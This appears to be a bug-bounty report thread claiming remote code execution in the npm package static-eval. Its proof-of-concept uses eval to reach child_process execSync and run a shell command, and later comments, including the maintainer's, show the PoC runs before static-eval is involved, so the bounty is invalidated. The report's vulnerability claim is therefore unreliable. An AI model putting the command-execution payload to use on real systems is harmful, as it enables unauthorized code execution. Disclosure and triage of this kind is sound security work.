Remote Code Execution (RCE) in static-eval

[gkmr507]

✍️ Description

Remote Code Execution (RCE) in static-eval.

🕵️‍♂️ Proof of Concept

1. Create the following PoC file:

// poc.js
var evaluate = require('static-eval');
var parse = require('esprima').parse;

var src=(function (x) { return `${eval("console.log(global.process.mainModule.constructor._load('child_process').execSync('ls').toString())")}` })()
var ast = parse(src).body[0].expression;
evaluate(ast)

2. Execute the following commands in terminal:

npm i static-eval # Install affected module
node poc.js #  Run the PoC

3. Check the Output using ls command before and after the execution.

💥 Impact

It may lead to Information Disclosure/DoS/RCE.

✅ Checklist

In my pull request, I have:

• Created and populated the README.md and vulnerability.json files
• Provided the repository URL and any applicable permalinks
• Defined all the applicable weaknesses (CWEs)
• Proposed the CVSS vector items i.e. User Interaction, Attack Complexity
• Checked that the vulnerability affects the latest version of the package released
• Checked that a fix does not currently exist that remediates this vulnerability
• Complied with all applicable laws

[d3m0n-r00t]

Hi @hethvik,
I was trying to fix this bug, and that's when I saw that the poc actually doesnot show any bug in static-eval. The injection happens even before it is passed to the static-eval module. I am not sure about the vulnerability you explained but I think the POC is not valid here.

As you can see in the screenshot the ls gets executed even before it is passed to the evaluate or even parse in this case.
Please do comment if I am wrong. But I think this is not a vulnerability of static-eval.
@JamieSlome please share your view too.

[JamieSlome]

@goto-bus-stop - would be great to get your thoughts here.

Cheers! 🍰

[goto-bus-stop]

Yes, the POC just straight up executes code regardless of static-eval.

Even if this did involve static-eval, we mention in the documentation that cases like this are basically expected and that static-eval should only be used with trusted input: https://github.com/browserify/static-eval#security

Hence I would consider a problem like this to be a security problem in the application, not in static-eval.

[JamieSlome]

@goto-bus-stop - awesome, thanks for the heads up! 🍰

I will invalidate the bounty from the platform now...